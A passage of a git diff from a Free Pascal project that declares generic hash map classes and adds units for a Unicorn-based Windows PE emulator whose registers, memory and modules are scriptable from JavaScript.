boolean; override; + function RealItemsLength: SizeInt; override; + + function FindBucketIndexOrTombstone(constref AItems: TArray<TItem>; constref AKey: TKey; + out AHash: UInt32): SizeInt; virtual; abstract; + + function DoRemove(AIndex: SizeInt; ACollectionNotification: TCollectionNotification): TValue; override; + function DoAdd(constref AKey: TKey; constref AValue: TValue): SizeInt; override; + public + property TombstonesCount: SizeInt read FTombstonesCount; + procedure ClearTombstones; virtual; + procedure Clear; override; + end; + + TOpenAddressingSH<OPEN_ADDRESSING_CONSTRAINTS> = class(TOpenAddressingTombstones<OPEN_ADDRESSING_CONSTRAINTS>) + private type // for workaround Lazarus bug #25613 + _TItem = record + Hash: UInt32; + Pair: TPair<TKey, TValue>; + end; + protected + function FindBucketIndex(constref AItems: TArray<TItem>; constref AKey: TKey; + out AHash: UInt32): SizeInt; override; overload; + function FindBucketIndexOrTombstone(constref AItems: TArray<TItem>; constref AKey: TKey; + out AHash: UInt32): SizeInt; override; + end; + + TOpenAddressingQP<OPEN_ADDRESSING_CONSTRAINTS> = class(TOpenAddressingSH<OPEN_ADDRESSING_CONSTRAINTS>) + private + FPrimaryNumberAsSizeApproximation: SizeInt; + protected + procedure UpdateItemsThreshold(ASize: SizeInt); override; + function FindBucketIndex(constref AItems: TArray<TItem>; + constref AKey: TKey; out AHash: UInt32): SizeInt; override; overload; + function FindBucketIndexOrTombstone(constref AItems: TArray<TItem>; + constref AKey: TKey; out AHash: UInt32): SizeInt; override; + end; + + TOpenAddressingDH<OPEN_ADDRESSING_CONSTRAINTS> = class(TOpenAddressingTombstones<OPEN_ADDRESSING_CONSTRAINTS>) + private type // for workaround Lazarus bug #25613 + _TItem = record + Hash: UInt32; + Pair: TPair<TKey, TValue>; + end; + private + R: UInt32; + protected + procedure UpdateItemsThreshold(ASize: SizeInt); override; + function FindBucketIndex(constref AItems: TArray<TItem>; constref AKey: TKey; + out AHash: UInt32): SizeInt; override; overload; + function FindBucketIndexOrTombstone(constref AItems: TArray<TItem>; constref AKey: TKey; + out AHash: UInt32): SizeInt; override; + strict protected + constructor Create(ACapacity: SizeInt; const AComparer: IEqualityComparer<TKey>); override; overload; + constructor Create(const AComparer: IEqualityComparer<TKey>); reintroduce; overload; + constructor Create(ACollection: TEnumerable<TDictionaryPair>; const AComparer: IEqualityComparer<TKey>); override; overload; + {$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} + constructor Create(ACollection: TEnumerableWithPointers<TDictionaryPair>; const AComparer: IEqualityComparer<TKey>); override; overload; + {$ENDIF} + public // bug #26181 (redundancy of constructors) + constructor Create(ACapacity: SizeInt); override; overload; + constructor Create(ACollection: TEnumerable<TDictionaryPair>); override; overload; + {$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} + constructor Create(ACollection: TEnumerableWithPointers<TDictionaryPair>); override; overload; + {$ENDIF} + constructor Create(ACapacity: SizeInt; const AComparer: IExtendedEqualityComparer<TKey>); virtual; overload; + constructor Create(const AComparer: IExtendedEqualityComparer<TKey>); overload; + constructor Create(ACollection: TEnumerable<TDictionaryPair>; const AComparer: IExtendedEqualityComparer<TKey>); virtual; overload; + {$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} + constructor Create(ACollection: TEnumerableWithPointers<TDictionaryPair>; const AComparer: IExtendedEqualityComparer<TKey>); virtual; overload; + {$ENDIF} + end; + + TDeamortizedDArrayCuckooMapEnumerator<T, CUCKOO_CONSTRAINTS> = class abstract(TCustomDictionaryEnumerator<T, CUSTOM_DICTIONARY_CONSTRAINTS>) + private type // for workaround Lazarus bug #25613 + TItem = record + Hash: UInt32; + Pair: TPair<TKey, TValue>; + end; + TItemsArray = array of TItem; + private + FMainIndex: SizeInt; + protected + function DoMoveNext: Boolean; override; + public + constructor Create(ADictionary: TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>); + end; + + TDeamortizedDArrayPointersEnumerator<TCuckooCfg, TItemsArray, TItemsDArray, TQueueDictionary, PDictionaryPair> = class abstract(TEnumerator<PDictionaryPair>) + private var // FItems must be declared as first field and FQueue as second + FItems: ^TItemsDArray; + FQueue: TQueueDictionary; + FIndex: SizeInt; + FMainIndex: SizeInt; + protected + function DoMoveNext: boolean; override; + function DoGetCurrent: PDictionaryPair; override; + function GetCurrent: PDictionaryPair; virtual; + public + constructor Create(var AItems; AQueue: TQueueDictionary; ACount: SizeInt); + end; + + TDeamortizedDArrayPointersCollection<TPointersEnumerator, TItemsDArray, TQueueDictionary, PDictionaryPair> = record + private type + PArray = ^TItemsDArray; + function Items: PArray; inline; + function GetCount: SizeInt; inline; + function GetQueue: TQueueDictionary; inline; + public + function GetEnumerator: TPointersEnumerator; + function ToArray: TArray<PDictionaryPair>; + property Count: SizeInt read GetCount; + end; + + // more info : + // http://arxiv.org/abs/0903.0391 + + TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS> = class(TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>) + private const // Lookup Result + LR_NIL = -1; + LR_QUEUE = -2; + private type + PItem = ^TItem; + TItem = record + Hash: UInt32; + Pair: TPair<TKey, TValue>; + end; + TValueForQueue = TItem; + + TQueueDictionary = class(TOpenAddressingLP<TKey, TValueForQueue, TDefaultHashFactory, TLinearProbing>) + private type // for workaround Lazarus bug #25613 + _TItem = record + Hash: UInt32; + Pair: TPair<TKey, TValueForQueue>; + end; + private + FIdx: TList<UInt32>; // list to keep order + protected + procedure NotifyIndexChange(AFrom, ATo: SizeInt); override; + function Rehash(ASizePow2: SizeInt; AForce: Boolean = False): Boolean; override; + public + procedure InsertIntoBack(AItem: Pointer); + procedure InsertIntoHead(AItem: Pointer); + function IsEmpty: Boolean; + function Pop: Pointer; + constructor Create(ACapacity: SizeInt; const AComparer: IEqualityComparer<TKey>); override; overload; + destructor Destroy; override; + end; + + // cycle-detection mechanism class + TCDM = class(TOpenAddressingSH<TKey, TEmptyRecord, TDefaultHashFactory, TLinearProbing>); + TItemsArray = array of TItem; + TItemsDArray = array[0..Pred(TCuckooCfg.D)] of TItemsArray; + TPointersEnumerator = class(TDeamortizedDArrayPointersEnumerator<TCuckooCfg, TItemsArray, TItemsDArray, TQueueDictionary, PDictionaryPair>); + TPointersCollection = TDeamortizedDArrayPointersCollection<TPointersEnumerator, TItemsDArray, TQueueDictionary, PDictionaryPair>; + public type + PPointersCollection = ^TPointersCollection; + private var + FItems: TItemsDArray; + FQueue: TQueueDictionary; // probably can be optimized - hash TItem give information from TItem.Hash for cuckoo ... + // currently is kept in "TQueueDictionary = class(TOpenAddressingSH<TKey, TItem, ...>" + + FCDM: TCDM; // cycle-detection mechanism + FItemsThreshold: SizeInt; + // sadly there is bug #24848 for class var ... + {class} var + CUCKOO_SIGN, CUCKOO_INDEX_SIZE, CUCKOO_HASH_SIGN: UInt32; + // CUCKOO_MAX_ITEMS_LENGTH: <- to do : calc max length for items based on CUCKOO sign + // maybe some CDM bloom filter? + + procedure Resize(ANewSize: SizeInt); + procedure Rehash(ASizePow2: SizeInt); + procedure PrepareAddingItem; + protected + procedure UpdateItemsThreshold(ASize: SizeInt); override; + function Lookup(constref AKey: TKey; var AHashListOrIndex: PUInt32): SizeInt; inline; overload; + function Lookup(constref AItems: TItemsDArray; constref AKey: TKey; var AHashListOrIndex: PUInt32): SizeInt; virtual; overload; + public + type + // Enumerators + TPairEnumerator = class(TDeamortizedDArrayCuckooMapEnumerator<TDictionaryPair, CUCKOO_CONSTRAINTS>) + protected + function GetCurrent: TPair<TKey,TValue>; override; + end; + + TValueEnumerator = class(TDeamortizedDArrayCuckooMapEnumerator<TValue, CUCKOO_CONSTRAINTS>) + protected + function GetCurrent: TValue; override; + end; + + TPValueEnumerator = class(TDeamortizedDArrayCuckooMapEnumerator<PValue, CUCKOO_CONSTRAINTS>) + protected + function GetCurrent: PValue; override; + end; + + TKeyEnumerator = class(TDeamortizedDArrayCuckooMapEnumerator<TKey, CUCKOO_CONSTRAINTS>) + protected + function GetCurrent: TKey; override; + end; + + TPKeyEnumerator = class(TDeamortizedDArrayCuckooMapEnumerator<PKey, CUCKOO_CONSTRAINTS>) + protected + function GetCurrent: PKey; override; + end; + + // Collections + TValueCollection = class(TDictionaryEnumerable<TValueEnumerator, TPValueEnumerator, TValue, CUSTOM_DICTIONARY_CONSTRAINTS>); + + TKeyCollection = class(TDictionaryEnumerable<TKeyEnumerator, TPKeyEnumerator, TKey, CUSTOM_DICTIONARY_CONSTRAINTS>); + + // bug #24283 - workaround related to lack of DoGetEnumerator + function GetEnumerator: TPairEnumerator; reintroduce; + private + function GetKeys: TKeyCollection; + function GetValues: TValueCollection; + function GetPointers: PPointersCollection; inline; + private + function GetItem(const AKey: TKey): TValue; inline; + procedure SetItem(const AKey: TKey; const AValue: TValue); overload; inline; + procedure SetItem(constref AValue: TValue; const AHashListOrIndex: PUInt32; ALookupResult: SizeInt); overload; + + procedure AddItem(constref AItems: TItemsDArray; constref AKey: TKey; constref AValue: TValue; const AHashList: PUInt32); overload; + procedure DoAdd(const AKey: TKey; const AValue: TValue; const AHashList: PUInt32); overload; inline; + function DoRemove(const AHashListOrIndex: PUInt32; ALookupResult: SizeInt; + ACollectionNotification: TCollectionNotification): TValue; + + function GetQueueCount: SizeInt; + protected + procedure SetCapacity(ACapacity: SizeInt); override; + // bug #24283 - can't descadent from TEnumerable + function DoGetEnumerator: TEnumerator<TDictionaryPair>; override; + procedure SetMaxLoadFactor(AValue: single); override; + function GetLoadFactor: single; override; + function GetCapacity: SizeInt; override; + strict protected // bug #26181 + constructor Create(ACapacity: SizeInt; const AComparer: IEqualityComparer<TKey>); override; overload; + constructor Create(const AComparer: IEqualityComparer<TKey>); reintroduce; overload; + constructor Create(ACollection: TEnumerable<TDictionaryPair>; const AComparer: IEqualityComparer<TKey>); override; overload; + {$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} + constructor Create(ACollection: TEnumerableWithPointers<TDictionaryPair>; const AComparer: IEqualityComparer<TKey>); override; overload; + {$ENDIF} + public + // TODO: function TryFlushQueue(ACount: SizeInt): SizeInt; + + constructor Create; override; overload; + constructor Create(ACapacity: SizeInt); override; overload; + constructor Create(ACollection: TEnumerable<TDictionaryPair>); override; overload; + {$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} + constructor Create(ACollection: TEnumerableWithPointers<TDictionaryPair>); override; overload; + {$ENDIF} + constructor Create(ACapacity: SizeInt; const AComparer: IExtendedEqualityComparer<TKey>); virtual; overload; + constructor Create(const AComparer: IExtendedEqualityComparer<TKey>); overload; + constructor Create(ACollection: TEnumerable<TDictionaryPair>; const AComparer: IExtendedEqualityComparer<TKey>); virtual; overload; + {$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} + constructor Create(ACollection: TEnumerableWithPointers<TDictionaryPair>; const AComparer: IExtendedEqualityComparer<TKey>); virtual; overload; + {$ENDIF} + destructor Destroy; override; + + procedure Add(constref APair: TPair<TKey, TValue>); override; overload; + procedure Add(constref AKey: TKey; constref AValue: TValue); overload; + procedure Remove(constref AKey: TKey); + function ExtractPair(constref AKey: TKey): TPair<TKey, TValue>; + procedure Clear; override; + procedure TrimExcess; + function TryGetValue(constref AKey: TKey; out AValue: TValue): Boolean; + procedure AddOrSetValue(constref AKey: TKey; constref AValue: TValue); + function ContainsKey(constref AKey: TKey): Boolean; inline; + function ContainsValue(constref AValue: TValue): Boolean; overload; + function ContainsValue(constref AValue: TValue; const AEqualityComparer: IEqualityComparer<TValue>): Boolean; virtual; overload; + + property Items[Index: TKey]: TValue read GetItem write SetItem; default; + property Keys: TKeyCollection read GetKeys; + property Values: TValueCollection read GetValues; + property Ptr: PPointersCollection read GetPointers; + + property QueueCount: SizeInt read GetQueueCount; + procedure GetMemoryLayout(const AOnGetMemoryLayoutKeyPosition: TOnGetMemoryLayoutKeyPosition); + end; + + TDictionaryOwnerships = set of (doOwnsKeys, doOwnsValues); + + TObjectDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS> = class(TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>) + private + FOwnerships: TDictionaryOwnerships; + protected + procedure KeyNotify(constref AKey: TKey; ACollectionNotification: TCollectionNotification); override; + procedure ValueNotify(constref AValue: TValue; ACollectionNotification: TCollectionNotification); override; + public + // can't be as "Create(AOwnerships: TDictionaryOwnerships; ACapacity: SizeInt = 0)" + // because bug #25607 + constructor Create(AOwnerships: TDictionaryOwnerships); overload; + constructor Create(AOwnerships: TDictionaryOwnerships; ACapacity: SizeInt); overload; + constructor Create(AOwnerships: TDictionaryOwnerships; + const AComparer: IExtendedEqualityComparer<TKey>); overload; + constructor Create(AOwnerships: TDictionaryOwnerships; ACapacity: SizeInt; + const AComparer: IExtendedEqualityComparer<TKey>); overload; + end; + + TObjectOpenAddressingLP<OPEN_ADDRESSING_CONSTRAINTS> = class(TOpenAddressingLP<OPEN_ADDRESSING_CONSTRAINTS>) + private + FOwnerships: TDictionaryOwnerships; + protected + procedure KeyNotify(constref AKey: TKey; ACollectionNotification: TCollectionNotification); override; + procedure ValueNotify(constref AValue: TValue; ACollectionNotification: TCollectionNotification); override; + public + // can't be as "Create(AOwnerships: TDictionaryOwnerships; ACapacity: SizeInt = 0)" + // because bug #25607 + constructor Create(AOwnerships: TDictionaryOwnerships); overload; + constructor Create(AOwnerships: TDictionaryOwnerships; ACapacity: SizeInt); overload; + constructor Create(AOwnerships: TDictionaryOwnerships; + const AComparer: IEqualityComparer<TKey>); overload; + constructor Create(AOwnerships: TDictionaryOwnerships; ACapacity: SizeInt; + const AComparer: IEqualityComparer<TKey>); overload; + end; + + // useful generics overloads + TOpenAddressingLP<TKey, TValue, THashFactory> = class(TOpenAddressingLP<TKey, TValue, THashFactory, TLinearProbing>); + TOpenAddressingLP<TKey, TValue> = class(TOpenAddressingLP<TKey, TValue, TDefaultHashFactory, TLinearProbing>); + + TObjectOpenAddressingLP<TKey, TValue, THashFactory> = class(TObjectOpenAddressingLP<TKey, TValue, THashFactory, TLinearProbing>); + TObjectOpenAddressingLP<TKey, TValue> = class(TObjectOpenAddressingLP<TKey, TValue, TDefaultHashFactory, TLinearProbing>); + + // Linear Probing with Tombstones (LPT) + TOpenAddressingLPT<TKey, TValue, THashFactory> = class(TOpenAddressingSH<TKey, TValue, THashFactory, TLinearProbing>); + TOpenAddressingLPT<TKey, TValue> = class(TOpenAddressingSH<TKey, TValue, TDefaultHashFactory, TLinearProbing>); + + TOpenAddressingQP<TKey, TValue, THashFactory> = class(TOpenAddressingQP<TKey, TValue, THashFactory, TQuadraticProbing>); + TOpenAddressingQP<TKey, TValue> = class(TOpenAddressingQP<TKey, TValue, TDefaultHashFactory, TQuadraticProbing>); + + TOpenAddressingDH<TKey, TValue, THashFactory> = class(TOpenAddressingDH<TKey, TValue, THashFactory, TDoubleHashing>); + TOpenAddressingDH<TKey, TValue> = class(TOpenAddressingDH<TKey, TValue, TDelphiDoubleHashFactory, TDoubleHashing>); + + TCuckooD2<TKey, TValue, THashFactory> = class(TDeamortizedDArrayCuckooMap<TKey, TValue, THashFactory, TDeamortizedCuckooHashingCfg_D2>); + TCuckooD2<TKey, TValue> = class(TDeamortizedDArrayCuckooMap<TKey, TValue, TDelphiDoubleHashFactory, TDeamortizedCuckooHashingCfg_D2>); + + TCuckooD4<TKey, TValue, THashFactory> = class(TDeamortizedDArrayCuckooMap<TKey, TValue, THashFactory, TDeamortizedCuckooHashingCfg_D4>); + TCuckooD4<TKey, TValue> = class(TDeamortizedDArrayCuckooMap<TKey, TValue, TDelphiQuadrupleHashFactory, TDeamortizedCuckooHashingCfg_D4>); + + TCuckooD6<TKey, TValue, THashFactory> = class(TDeamortizedDArrayCuckooMap<TKey, TValue, THashFactory, TDeamortizedCuckooHashingCfg_D6>); + TCuckooD6<TKey, TValue> = class(TDeamortizedDArrayCuckooMap<TKey, TValue, TDelphiSixfoldHashFactory, TDeamortizedCuckooHashingCfg_D6>); + + TObjectCuckooD2<TKey, TValue, THashFactory> = class(TObjectDeamortizedDArrayCuckooMap<TKey, TValue, THashFactory, TDeamortizedCuckooHashingCfg_D2>); + TObjectCuckooD2<TKey, TValue> = class(TObjectDeamortizedDArrayCuckooMap<TKey, TValue, TDelphiDoubleHashFactory, TDeamortizedCuckooHashingCfg_D2>); + + TObjectCuckooD4<TKey, TValue, THashFactory> = class(TObjectDeamortizedDArrayCuckooMap<TKey, TValue, THashFactory, TDeamortizedCuckooHashingCfg_D4>); + TObjectCuckooD4<TKey, TValue> = class(TObjectDeamortizedDArrayCuckooMap<TKey, TValue, TDelphiQuadrupleHashFactory, TDeamortizedCuckooHashingCfg_D4>); + + TObjectCuckooD6<TKey, TValue, THashFactory> = class(TObjectDeamortizedDArrayCuckooMap<TKey, TValue, THashFactory, TDeamortizedCuckooHashingCfg_D6>); + TObjectCuckooD6<TKey, TValue> = class(TObjectDeamortizedDArrayCuckooMap<TKey, TValue, TDelphiSixfoldHashFactory, TDeamortizedCuckooHashingCfg_D6>); + + // for normal programmers to normal use =) + TDictionary<TKey, TValue> = class(TOpenAddressingLP<TKey, TValue>); + TObjectDictionary<TKey, TValue> = class(TObjectOpenAddressingLP<TKey, TValue>); + + TFastHashMap<TKey, TValue> = class(TCuckooD2<TKey, TValue>); + TFastObjectHashMap<TKey, TValue> = class(TObjectCuckooD2<TKey, TValue>); + + THashMap<TKey, TValue> = class(TCuckooD4<TKey, TValue>); + TObjectHashMap<TKey, TValue> = class(TObjectCuckooD4<TKey, TValue>); diff --git a/Core/globals.pas b/Core/globals.pas new file mode 100644 index 0000000..9f4f74e --- /dev/null +++ b/Core/globals.pas @@ -0,0 +1,44 @@ +unit Globals; + +{$mode delphi} + +interface + +uses + Classes, SysUtils, Emu,JSPlugins_BEngine, + {$I besenunits.inc}, + Generics.Collections,FnHook,jsemuobj, + UnicornConst,Unicorn_dyn; + +var + VerboseExcp : Boolean = False; + Verbose : Boolean = False; + VerboseEx : Boolean = False; + VerboseExx : Boolean = False; + Speed : Boolean = False; + ShowASM : Boolean = False; + InterActive : Boolean = False; // TODO . +//============================================================================// + Steps_limit : UInt64 = 2000000; // 0 = unlimited . + Steps : UInt64 = 0; + + Emulator : TEmu; + + MAIN_CPU : uc_mode; + MAIN_X64 : boolean; // if PE is x64 or not .. + FilePath : string; + + JS : TBESENInstance; + JSEmu : TBESENObject; + + HOOK_BASE,HOOK_INDEX,HOOK_LIB,HOOK_Fn : UInt64; + + win32 : UnicodeString = ''; + win64 : UnicodeString = ''; + + JSAPI : ansistring = ''; + +implementation + +end. + diff --git a/Core/interactive.pas b/Core/interactive.pas new file mode 100644 index 0000000..dea8271 --- /dev/null +++ b/Core/interactive.pas @@ -0,0 +1,14 @@ +unit Interactive; +// TODO . +{$mode delphi} + +interface + +uses + Classes, SysUtils, + Unicorn_dyn , UnicornConst, X86Const; + +implementation + +end. + diff --git a/Core/jsemuobj.pas b/Core/jsemuobj.pas new file mode 100644 index 0000000..1e4d19f --- /dev/null +++ b/Core/jsemuobj.pas @@ -0,0 +1,755 @@ +unit JSEmuObj; + +{$mode delphi} + +interface + +uses + Classes, SysUtils, + {$I besenunits.inc}, + FnHook,Emu,Utils, + Unicorn_dyn, UnicornConst, X86Const, + FileUtil,LazUTF8,PE_Loader; + +type + +{ TEmuObj } + +TEmuObj = class + { Register Stuff } + procedure ReadReg(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure SetReg(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + + + { String things :P } + procedure ReadStringA(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure ReadStringW(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + + procedure WriteStringA(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure WriteStringW(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + + { Emulator Modules } + procedure LoadLibrary(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure GetModuleName(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure GetModuleHandle(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure GetProcAddress(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + + { Memory things :D } + procedure WriteByte(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure WriteWord(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure WriteDword(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure WriteQword(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure WriteMem(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + + procedure ReadByte(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure ReadWord(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure ReadDword(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure ReadQword(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure ReadMem(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + + { Stack } + procedure push(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure pop(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + + { Control Flow } + procedure Stop(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure LastError(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + + { Misc } + procedure HexDump(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure StackDump(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + +end; + +implementation + uses + Globals,math,JSPlugins_BEngine; + +{ TEmuObj } + +procedure TEmuObj.ReadReg(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Value : UInt64; + REG : UInt32; + JSValue : PBESENValue; +begin + if CountArguments <> 1 then + raise EBESENError.Create('GetReg take 1 arg - Ex: GetReg(REG_RAX)'); + + JSValue := Arguments^[0]; + case JSValue^.ValueType of + bvtNUMBER: + begin + REG := TBESEN(JS).ToInt(JSValue^) + end; + else + raise EBESENError.Create('GetReg take 1 arg - Ex: GetReg(REG_RAX) - And Should Be Number'); + exit; + end; + Value := 0; + Emulator.err := uc_reg_read(Emulator.uc,REG,@Value); + ResultValue := BESENNumberValue(Value); +end; + +procedure TEmuObj.SetReg(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + value : UInt64; + REG : UInt32; + JSvalue : PBESENValue; + + procedure Error(); + begin + raise EBESENError.Create('SetReg take 2 arg - Ex: GetReg(REG_RAX,0x401000) - And Both Should Be Number'); + end; +begin + if CountArguments <> 2 then + raise EBESENError.Create('SetReg take 2 arg - Ex: SetReg(REG_RAX,0x401000)'); + + JSvalue := Arguments^[0]; + if JSvalue^.ValueType = bvtNUMBER then + REG := TBESEN(JS).ToInt(JSvalue^) + else + Error(); + + JSvalue := Arguments^[1]; + if JSvalue^.ValueType = bvtNUMBER then + value := TBESEN(JS).ToInt(JSvalue^) + else + Error(); + + Emulator.err := uc_reg_write(Emulator.uc,REG,@value); + + ResultValue := BESENBooleanValue(Emulator.err = UC_ERR_OK); +end; + +procedure TEmuObj.ReadStringA(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Addr : UInt64; + len : UInt32; + JSvalue : PBESENValue; + procedure Error(); + begin + raise EBESENError.Create('ReadStringA take 1 or 2 arg - Ex: ReadStringA(Addr) or ReadStringA(Addr,len)'); + end; +begin + len := 0; Addr := 0; + + if CountArguments < 1 then + raise EBESENError.Create('ReadStringA take 1 or 2 arg - Ex: ReadStringA(Addr) or ReadStringA(Addr,len)'); + + + JSvalue := Arguments^[0]; + if JSvalue^.ValueType = bvtNUMBER then + Addr := TBESEN(JS).ToInt(JSvalue^) + else + Error(); + + if CountArguments = 2 then + begin + JSvalue := Arguments^[1]; + if JSvalue^.ValueType = bvtNUMBER then + len := TBESEN(JS).ToInt(JSvalue^) + else + Error(); + end; + + ResultValue := BESENStringValue(BESENUTF8ToUTF16(Utils.ReadStringA(Addr,len))); +end; + +procedure TEmuObj.ReadStringW(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Addr : UInt64; + len : UInt32; + JSvalue : PBESENValue; + procedure Error(); + begin + raise EBESENError.Create('ReadStringW take 1 or 2 arg - Ex: ReadStringW(Addr) or ReadStringW(Addr,len)'); + end; +begin + len := 0; Addr := 0; + + if CountArguments < 1 then + raise EBESENError.Create('ReadStringW take 1 or 2 arg - Ex: ReadStringW(Addr) or ReadStringW(Addr,len)'); + + + JSvalue := Arguments^[0]; + if JSvalue^.ValueType = bvtNUMBER then + Addr := TBESEN(JS).ToInt(JSvalue^) + else + Error(); + + if CountArguments = 2 then + begin + JSvalue := Arguments^[1]; + if JSvalue^.ValueType = bvtNUMBER then + len := TBESEN(JS).ToInt(JSvalue^) + else + Error(); + end; + + ResultValue := BESENStringValue(BESENUTF8ToUTF16(Utils.ReadStringW(Addr,len))); +end; + +procedure TEmuObj.WriteStringA(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Str : AnsiString; + Addr : UInt64; + JSvalue : PBESENValue; +begin + if CountArguments <> 2 then + raise EBESENError.Create('WriteStringA take 2 - Ex: WriteStringA(Addr, "plaplapla")'); + + JSvalue := Arguments^[0]; + if JSvalue^.ValueType = bvtNUMBER then + Addr := TBESEN(JS).ToInt(JSvalue^) + else + raise EBESENError.Create('WriteStringA "First" Arg must be Number'); + + JSvalue := Arguments^[1]; + if JSvalue^.ValueType = bvtSTRING then + Str := JSStringToStr(JSvalue^) + else + raise EBESENError.Create('WriteStringA "Second" Arg must be String'); + + ResultValue := BESENNumberValue(Utils.WriteStringA(Addr,Str)); +end; + +procedure TEmuObj.WriteStringW(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Str : AnsiString; + Addr : UInt64; + JSvalue : PBESENValue; +begin + if CountArguments <> 2 then + raise EBESENError.Create('WriteStringW take 2 - Ex: WriteStringW(Addr, "plaplapla")'); + + JSvalue := Arguments^[0]; + if JSvalue^.ValueType = bvtNUMBER then + Addr := TBESEN(JS).ToInt(JSvalue^) + else + raise EBESENError.Create('WriteStringA "First" Arg must be Number'); + + JSvalue := Arguments^[1]; + if JSvalue^.ValueType = bvtSTRING then + Str := JSStringToStr(JSvalue^) + else + raise EBESENError.Create('WriteStringW "Second" Arg must be String'); + + ResultValue := BESENNumberValue(Utils.WriteStringW(Addr,Str)); +end; + +procedure TEmuObj.LoadLibrary(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Libname : AnsiString; + JSvalue : PBESENValue; + Lib : TNewDll; +begin + ResultValue := BESENNumberValue(0); // Default value = 0 .. + if CountArguments = 1 then + begin + JSvalue := Arguments^[0]; + if JSvalue^.ValueType = bvtSTRING then + Libname := Trim(JSStringToStr(JSvalue^)) + else + raise EBESENError.Create('LoadLibrary Arg must be String ! - Ex: LoadLibrary(''kernel32.dll'')'); + + Libname := Trim(ExtractFileNameWithoutExt(LowerCase(Libname)) + '.dll'); + + if Emulator.Libs.TryGetValue(Libname,Lib) then + ResultValue := BESENNumberValue(Lib.BaseAddress) + else + begin + if PE_Loader.load_sys_dll(Emulator.uc,Libname) then + if Emulator.Libs.TryGetValue(Libname,Lib) then + ResultValue := BESENNumberValue(Lib.BaseAddress) + end; + end; +end; + +procedure TEmuObj.GetModuleName(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Handle : UInt64; + JSvalue : PBESENValue; + Lib : TNewDll; +begin + ResultValue := BESENNumberValue(0); // Default value = 0 .. + if CountArguments = 1 then + begin + JSvalue := Arguments^[0]; + if JSvalue^.ValueType = bvtNUMBER then + Handle := TBESEN(JS).ToInt(JSvalue^) + else + raise EBESENError.Create('GetModuleName Arg must be Number !!!'); + + if (Handle = 0) or (Handle = Emulator.Img.ImageBase) then + begin + ResultValue := BESENStringValue(BESENUTF8ToUTF16(ExtractFileName(Emulator.Img.FileName))); // Current PE ... + exit; + end; + + for Lib in Emulator.Libs.Values do + begin + if lib.BaseAddress = Handle then + begin + ResultValue := BESENStringValue(BESENUTF8ToUTF16(ExtractFileName(lib.Dllname))); + break; + end; + end; + end + else + ResultValue := BESENStringValue(BESENUTF8ToUTF16(ExtractFileName(Emulator.Img.FileName))); // Current PE ... +end; + +procedure TEmuObj.GetModuleHandle(const 